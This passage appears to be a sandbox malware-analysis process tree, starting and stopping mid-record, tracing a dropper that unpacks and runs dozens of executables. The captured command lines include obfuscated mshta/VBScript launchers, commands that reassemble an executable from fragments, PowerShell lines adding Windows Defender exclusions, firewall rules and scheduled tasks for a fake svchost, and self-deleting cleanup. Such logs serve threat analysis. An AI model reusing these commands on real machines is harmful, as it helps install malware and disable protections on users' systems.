C:\Users\Admin\Pictures\Adobe Films\c40UkjlwfxCpVZUSKPxriPF3.exe"C:\Users\Admin\Pictures\Adobe Films\c40UkjlwfxCpVZUSKPxriPF3.exe"6⤵PID:5216
-
-
C:\Users\Admin\Pictures\Adobe Films\B8rur4KEo7govCPz2U89FVa0.exe"C:\Users\Admin\Pictures\Adobe Films\B8rur4KEo7govCPz2U89FVa0.exe"6⤵PID:5292
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"7⤵PID:1384
-
-
-
C:\Users\Admin\Pictures\Adobe Films\q0Kw7qHk_oiWwDY6B43OmoiW.exe"C:\Users\Admin\Pictures\Adobe Films\q0Kw7qHk_oiWwDY6B43OmoiW.exe"6⤵PID:5324
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\q0Kw7qHk_oiWwDY6B43OmoiW.exe" & exit7⤵PID:3428
-
C:\Windows\SysWOW64\timeout.exetimeout /t 58⤵
- Delays execution with timeout.exe
PID:5128
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\qEpo5rFv31fDMcyCtigOtKRe.exe"C:\Users\Admin\Pictures\Adobe Films\qEpo5rFv31fDMcyCtigOtKRe.exe"6⤵PID:5372
-
-
C:\Users\Admin\Pictures\Adobe Films\XjsjIyTgOfYmT7bMPiGHFhc8.exe"C:\Users\Admin\Pictures\Adobe Films\XjsjIyTgOfYmT7bMPiGHFhc8.exe"6⤵PID:5456
-
-
C:\Users\Admin\Pictures\Adobe Films\yODb9ukxYuaFzSOVXSdysOvm.exe"C:\Users\Admin\Pictures\Adobe Films\yODb9ukxYuaFzSOVXSdysOvm.exe"6⤵PID:5480
-
C:\Users\Admin\AppData\Roaming\8073670.exe"C:\Users\Admin\AppData\Roaming\8073670.exe"7⤵PID:3380
-
-
C:\Users\Admin\AppData\Roaming\3720904.exe"C:\Users\Admin\AppData\Roaming\3720904.exe"7⤵PID:1724
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"8⤵PID:6044
-
-
-
C:\Users\Admin\AppData\Roaming\7231029.exe"C:\Users\Admin\AppData\Roaming\7231029.exe"7⤵PID:5364
-
-
C:\Users\Admin\AppData\Roaming\1721470.exe"C:\Users\Admin\AppData\Roaming\1721470.exe"7⤵PID:3260
-
-
C:\Users\Admin\AppData\Roaming\1633119.exe"C:\Users\Admin\AppData\Roaming\1633119.exe"7⤵PID:1160
-
-
C:\Users\Admin\AppData\Roaming\3859059.exe"C:\Users\Admin\AppData\Roaming\3859059.exe"7⤵PID:1452
-
-
C:\Users\Admin\AppData\Roaming\2918008.exe"C:\Users\Admin\AppData\Roaming\2918008.exe"7⤵PID:1364
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbscRIpT:cLosE ( cREaTeOBjeCT ("wsCriPT.sHELl"). rUN ("Cmd.exe /q /c Type ""C:\Users\Admin\AppData\Roaming\2918008.exe"" > kSTw_GRvR1eDFi.EXE && StARt kStW_grVR1EDFi.exE /P6l3hjJm2mK1sJpxUmLJ & If """"== """" for %k In ( ""C:\Users\Admin\AppData\Roaming\2918008.exe"" ) do taskkill /F /Im ""%~Nxk"" " ,0 , trUE) )8⤵PID:6004
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c Type "C:\Users\Admin\AppData\Roaming\2918008.exe"> kSTw_GRvR1eDFi.EXE&&StARt kStW_grVR1EDFi.exE /P6l3hjJm2mK1sJpxUmLJ&If ""== "" for %k In ( "C:\Users\Admin\AppData\Roaming\2918008.exe" ) do taskkill /F /Im "%~Nxk"9⤵PID:6140
-
C:\Users\Admin\AppData\Local\Temp\kSTw_GRvR1eDFi.EXEkStW_grVR1EDFi.exE /P6l3hjJm2mK1sJpxUmLJ10⤵PID:4552
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbscRIpT:cLosE ( cREaTeOBjeCT ("wsCriPT.sHELl"). rUN ("Cmd.exe /q /c Type ""C:\Users\Admin\AppData\Local\Temp\kSTw_GRvR1eDFi.EXE"" > kSTw_GRvR1eDFi.EXE && StARt kStW_grVR1EDFi.exE /P6l3hjJm2mK1sJpxUmLJ & If ""/P6l3hjJm2mK1sJpxUmLJ""== """" for %k In ( ""C:\Users\Admin\AppData\Local\Temp\kSTw_GRvR1eDFi.EXE"" ) do taskkill /F /Im ""%~Nxk"" " ,0 , trUE) )11⤵PID:3432
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c Type "C:\Users\Admin\AppData\Local\Temp\kSTw_GRvR1eDFi.EXE"> kSTw_GRvR1eDFi.EXE&&StARt kStW_grVR1EDFi.exE /P6l3hjJm2mK1sJpxUmLJ&If "/P6l3hjJm2mK1sJpxUmLJ"== "" for %k In ( "C:\Users\Admin\AppData\Local\Temp\kSTw_GRvR1eDFi.EXE" ) do taskkill /F /Im "%~Nxk"12⤵PID:3920
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBscrIPT: cLOSE( cREATEobjeCt ( "WSCRIPt.SheLL" ). ruN ( "C:\Windows\system32\cmd.exe /q /C echo %DatE%cl1V> 8KyK.ZNp & Echo | sET /P = ""MZ"" > hXUPL.XH& CoPY /b /Y HXUPL.XH + QR7i5Ur.BRU +wZfTO2F9.TkR + 3W6U.X2 + 8Kyk.ZNp GkQ1GTV.ZNM & StArT control .\GKq1GTV.ZnM " , 0 , TrUe ) )11⤵PID:7236
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /q /C echo ÚtE%cl1V>8KyK.ZNp & Echo | sET /P = "MZ" >hXUPL.XH& CoPY /b /Y HXUPL.XH +QR7i5Ur.BRU +wZfTO2F9.TkR + 3W6U.X2 + 8Kyk.ZNp GkQ1GTV.ZNM& StArT control .\GKq1GTV.ZnM12⤵PID:7780
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" sET /P = "MZ" 1>hXUPL.XH"13⤵PID:8072
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Echo "13⤵PID:8064
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /Im "2918008.exe"10⤵
- Kills process with taskkill
PID:2996
-
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\EMnfMXPdPGlMgInVCLgXVSO3.exe"C:\Users\Admin\Pictures\Adobe Films\EMnfMXPdPGlMgInVCLgXVSO3.exe"6⤵PID:5620
-
-
C:\Users\Admin\Pictures\Adobe Films\6FTfQCcRuKws2MIxmjYaIBR2.exe"C:\Users\Admin\Pictures\Adobe Films\6FTfQCcRuKws2MIxmjYaIBR2.exe"6⤵PID:5580
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\7⤵PID:5572
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \7⤵PID:5508
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes7⤵PID:5604
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM7⤵
- Creates scheduled task(s)
PID:1260
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes7⤵PID:1944
-
-
C:\Windows\System\svchost.exe"C:\Windows\System\svchost.exe" formal7⤵PID:4908
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\8⤵PID:5704
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \8⤵PID:4744
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes8⤵PID:5956
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes8⤵PID:2380
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\k8xP7MwLGHaQCH2_AK0w8snC.exe"C:\Users\Admin\Pictures\Adobe Films\k8xP7MwLGHaQCH2_AK0w8snC.exe"6⤵PID:4500
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\k8xP7MwLGHaQCH2_AK0w8snC.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\k8xP7MwLGHaQCH2_AK0w8snC.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )7⤵PID:5436
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\k8xP7MwLGHaQCH2_AK0w8snC.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\k8xP7MwLGHaQCH2_AK0w8snC.exe" ) do taskkill -im "%~NxK" -F8⤵PID:1736
-
C:\Users\Admin\AppData\Local\Temp\8pWB.eXE8pWB.eXe /pO_wtib1KE0hzl7U9_CYP9⤵PID:1856
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )10⤵PID:5772
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F11⤵PID:5096
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ("WSCRIPt.SheLl" ). rUn ("C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl + _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " ,0 , TruE ) )10⤵PID:5196
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c EcHO | seT /p = "MZ" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl+ _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY11⤵PID:1724
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHO "12⤵PID:6024
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>1AQCPNL9.1"12⤵PID:604
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe -y .\N3V4H8H.SXY12⤵PID:5412
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -im "k8xP7MwLGHaQCH2_AK0w8snC.exe" -F9⤵
- Kills process with taskkill
PID:5272
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\OvyxnRZ3fxqzoWbQNMa8IeRt.exe"C:\Users\Admin\Pictures\Adobe Films\OvyxnRZ3fxqzoWbQNMa8IeRt.exe"6⤵PID:7376
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue195c40958f528163.exe4⤵
- Suspicious use of WriteProcessMemory
PID:852 -
C:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue195c40958f528163.exeTue195c40958f528163.exe5⤵
- Executes dropped EXE
PID:1668 -
C:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue195c40958f528163.exeC:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue195c40958f528163.exe6⤵PID:1696
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue19f51bcd77a.exe4⤵
- Suspicious use of WriteProcessMemory
PID:60 -
C:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue19f51bcd77a.exeTue19f51bcd77a.exe5⤵
- Executes dropped EXE
PID:2524 -
C:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue19f51bcd77a.exeC:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue19f51bcd77a.exe6⤵PID:1412
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue19c06f159e0ec.exe4⤵PID:884
-
C:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue19c06f159e0ec.exeTue19c06f159e0ec.exe5⤵
- Executes dropped EXE
PID:2884 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2884 -s 12206⤵
- Program crash
PID:5312
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue1993b3f72c.exe4⤵
- Suspicious use of WriteProcessMemory
PID:1200 -
C:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue1993b3f72c.exeTue1993b3f72c.exe5⤵
- Executes dropped EXE
PID:1664
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue19411ac950924ec3f.exe4⤵PID:2192
-
C:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue19411ac950924ec3f.exeTue19411ac950924ec3f.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4712
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue19c78ded4d176ac.exe4⤵PID:2760
-
C:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue19c78ded4d176ac.exeTue19c78ded4d176ac.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:940
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue19c1338f41ab.exe4⤵PID:2820
-
C:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue19c1338f41ab.exeTue19c1338f41ab.exe5⤵
- Executes dropped EXE
PID:3880
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue192762f1cd058ddf8.exe4⤵PID:1764
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue19761b3b8d9d.exe4⤵PID:3832
-
C:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue19761b3b8d9d.exeTue19761b3b8d9d.exe5⤵
- Executes dropped EXE
PID:1092 -
C:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue19761b3b8d9d.exeC:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue19761b3b8d9d.exe6⤵PID:2560
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4468 -s 6124⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4224
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue1969586bcbf58493.exe4⤵PID:5016
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue19b4ef3b53293fe.exe4⤵PID:4320
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue19150ee2be694c8a4.exe /mixone4⤵PID:1520
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue193858933525b62.exe4⤵PID:1336
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue192762f1cd058ddf8.exeTue192762f1cd058ddf8.exe1⤵
- Executes dropped EXE
PID:3240 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3240 -s 14162⤵
- Program crash
PID:404
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue193858933525b62.exeTue193858933525b62.exe1⤵
- Executes dropped EXE
PID:2776 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbscrIPt: CLOsE( crEATeObjEcT( "wsCRipt.SheLl" ). RUN ( "C:\Windows\system32\cmd.exe /q /C tYPe ""C:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue193858933525b62.exe"" > ~Xy1GPomKV09sC.Exe && stART ~Xy1gPomkV09sC.eXe -PyARgXd6fRp1GJRov7bdbpPssZBLJ &if """" == """" for %x In ( ""C:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue193858933525b62.exe"" ) do taskkill -iM ""%~nXx"" /f " ,0 , TRuE ))2⤵PID:4952
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /q /C tYPe "C:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue193858933525b62.exe" > ~Xy1GPomKV09sC.Exe &&stART ~Xy1gPomkV09sC.eXe -PyARgXd6fRp1GJRov7bdbpPssZBLJ &if "" == "" for %x In ("C:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue193858933525b62.exe") do taskkill -iM "%~nXx" /f3⤵PID:3040
-
C:\Users\Admin\AppData\Local\Temp\~Xy1GPomKV09sC.Exe~Xy1gPomkV09sC.eXe -PyARgXd6fRp1GJRov7bdbpPssZBLJ4⤵PID:3140
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbscrIPt: CLOsE( crEATeObjEcT( "wsCRipt.SheLl" ). RUN ( "C:\Windows\system32\cmd.exe /q /C tYPe ""C:\Users\Admin\AppData\Local\Temp\~Xy1GPomKV09sC.Exe"" > ~Xy1GPomKV09sC.Exe && stART ~Xy1gPomkV09sC.eXe -PyARgXd6fRp1GJRov7bdbpPssZBLJ &if ""-PyARgXd6fRp1GJRov7bdbpPssZBLJ "" == """" for %x In ( ""C:\Users\Admin\AppData\Local\Temp\~Xy1GPomKV09sC.Exe"" ) do taskkill -iM ""%~nXx"" /f " ,0 , TRuE ))5⤵PID:3428
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /q /C tYPe "C:\Users\Admin\AppData\Local\Temp\~Xy1GPomKV09sC.Exe" > ~Xy1GPomKV09sC.Exe &&stART ~Xy1gPomkV09sC.eXe -PyARgXd6fRp1GJRov7bdbpPssZBLJ &if "-PyARgXd6fRp1GJRov7bdbpPssZBLJ " == "" for %x In ("C:\Users\Admin\AppData\Local\Temp\~Xy1GPomKV09sC.Exe") do taskkill -iM "%~nXx" /f6⤵PID:3964
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBscrIpt: cLosE (cREatEObjEcT ( "wscript.sHeLl" ).Run ( "cMD.ExE /R ECHO | seT /P = ""MZ"" > F3U_R.J & CoPy /B /Y F3U_R.J+ RqC~~.A + TfSAy.w+ y5ULsw.L6+ AobbVRP.2Y + WvAi.2 BENCc.E & Start msiexec -Y .\bENCc.E " , 0 ,TruE ) )5⤵PID:1228
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R ECHO | seT /P = "MZ" >F3U_R.J & CoPy /B /Y F3U_R.J+ RqC~~.A + TfSAy.w+y5ULsw.L6+ AobbVRP.2Y + WvAi.2 BENCc.E &Start msiexec -Y .\bENCc.E6⤵PID:2564
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ECHO "7⤵PID:4360
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" seT /P = "MZ" 1>F3U_R.J"7⤵PID:2112
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y .\bENCc.E7⤵PID:2124
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -iM "Tue193858933525b62.exe" /f4⤵
- Kills process with taskkill
PID:648
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue1969586bcbf58493.exeTue1969586bcbf58493.exe1⤵
- Executes dropped EXE
PID:4748 -
C:\Users\Admin\Pictures\Adobe Films\V7X6VYqX5V5LFU4W8LpDXitt.exe"C:\Users\Admin\Pictures\Adobe Films\V7X6VYqX5V5LFU4W8LpDXitt.exe"2⤵PID:2592
-
-
C:\Users\Admin\Pictures\Adobe Films\Yaff3jY_QOOMPNf7k0H2wCJn.exe"C:\Users\Admin\Pictures\Adobe Films\Yaff3jY_QOOMPNf7k0H2wCJn.exe"2⤵PID:1828
-
C:\Users\Admin\Documents\AwSWiBpi4RtlLhYAHRpCC3j9.exe"C:\Users\Admin\Documents\AwSWiBpi4RtlLhYAHRpCC3j9.exe"3⤵PID:5948
-
C:\Users\Admin\Pictures\Adobe Films\A_YkvmBjLiuGTGP99cVeStRK.exe"C:\Users\Admin\Pictures\Adobe Films\A_YkvmBjLiuGTGP99cVeStRK.exe"4⤵PID:6644
-
-
C:\Users\Admin\Pictures\Adobe Films\sOc1mEo78ZthC3K1hn_uzMqE.exe"C:\Users\Admin\Pictures\Adobe Films\sOc1mEo78ZthC3K1hn_uzMqE.exe"4⤵PID:5472
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\sOc1mEo78ZthC3K1hn_uzMqE.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\sOc1mEo78ZthC3K1hn_uzMqE.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )5⤵PID:7672
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\sOc1mEo78ZthC3K1hn_uzMqE.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\sOc1mEo78ZthC3K1hn_uzMqE.exe" ) do taskkill -f -iM "%~NxM"6⤵PID:8128
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\eYsidTd6wCtyni2GuQ3OrKPO.exe"C:\Users\Admin\Pictures\Adobe Films\eYsidTd6wCtyni2GuQ3OrKPO.exe"4⤵PID:708
-
-
C:\Users\Admin\Pictures\Adobe Films\7Nzc_JatREqDaBvNDCGsZWjR.exe"C:\Users\Admin\Pictures\Adobe Films\7Nzc_JatREqDaBvNDCGsZWjR.exe"4⤵PID:5064
-
-
C:\Users\Admin\Pictures\Adobe Films\dfX7oNZrED5f22hqhAL18Qt6.exe"C:\Users\Admin\Pictures\Adobe Films\dfX7oNZrED5f22hqhAL18Qt6.exe"4⤵PID:6056
-
-
C:\Users\Admin\Pictures\Adobe Films\mgqX_OUwai8CMSBnmDKb3CR4.exe"C:\Users\Admin\Pictures\Adobe Films\mgqX_OUwai8CMSBnmDKb3CR4.exe"4⤵PID:6136
-
-
C:\Users\Admin\Pictures\Adobe Films\OiMJi5nblWnKlkyLvG2OmUuD.exe"C:\Users\Admin\Pictures\Adobe Films\OiMJi5nblWnKlkyLvG2OmUuD.exe"4⤵PID:7392
-
-
C:\Users\Admin\Pictures\Adobe Films\HfBdv73Q8xWHcES5M7x5nird.exe"C:\Users\Admin\Pictures\Adobe Films\HfBdv73Q8xWHcES5M7x5nird.exe"4⤵PID:7352
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:1196
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:5740
-
-
-
C:\Users\Admin\Pictures\Adobe Films\GLKZsl7sJDfPFBKV9TL8izf5.exe"C:\Users\Admin\Pictures\Adobe Films\GLKZsl7sJDfPFBKV9TL8izf5.exe"2⤵PID:3960
-
-
C:\Users\Admin\Pictures\Adobe Films\iYbe7ihc91pID9iAvOEnswvy.exe"C:\Users\Admin\Pictures\Adobe Films\iYbe7ihc91pID9iAvOEnswvy.exe"2⤵PID:2396
-
C:\Users\Admin\Pictures\Adobe Films\iYbe7ihc91pID9iAvOEnswvy.exe"C:\Users\Admin\Pictures\Adobe Films\iYbe7ihc91pID9iAvOEnswvy.exe"3⤵PID:4748
-
-
-
C:\Users\Admin\Pictures\Adobe Films\N0Qq8Bniep6dVIT39Uye2e8j.exe"C:\Users\Admin\Pictures\Adobe Films\N0Qq8Bniep6dVIT39Uye2e8j.exe"2⤵PID:2936
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2936 -s 6643⤵
- Program crash
PID:4744
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2936 -s 6803⤵
- Program crash
PID:5672
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2936 -s 6683⤵
- Program crash
PID:3972
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2936 -s 6723⤵
- Program crash
PID:5712
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2936 -s 11683⤵
- Program crash
PID:2140
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2936 -s 11283⤵
- Program crash
PID:5336
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2936 -s 11363⤵
- Program crash
PID:5628
-
-
-
C:\Users\Admin\Pictures\Adobe Films\JH8o2zAq0ed2IYVGNRdXvQxc.exe"C:\Users\Admin\Pictures\Adobe Films\JH8o2zAq0ed2IYVGNRdXvQxc.exe"2⤵PID:4980
-
-
C:\Users\Admin\AppData\Local\Temp\is-TLQKU.tmp\Tue19879c4c0e.tmp"C:\Users\Admin\AppData\Local\Temp\is-TLQKU.tmp\Tue19879c4c0e.tmp" /SL5="$4007E,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue19879c4c0e.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2292 -
C:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue19879c4c0e.exe"C:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue19879c4c0e.exe" /SILENT2⤵
- Executes dropped EXE
PID:4396 -
C:\Users\Admin\AppData\Local\Temp\is-VRDM6.tmp\Tue19879c4c0e.tmp"C:\Users\Admin\AppData\Local\Temp\is-VRDM6.tmp\Tue19879c4c0e.tmp" /SL5="$401F4,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue19879c4c0e.exe" /SILENT3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4596
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue19b4ef3b53293fe.exeTue19b4ef3b53293fe.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1148 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe2⤵PID:3836
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe3⤵
- Kills process with taskkill
PID:2816
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0A1D5D06\Tue19150ee2be694c8a4.exeTue19150ee2be694c8a4.exe /mixone1⤵
- Executes dropped EXE
PID:4692 -
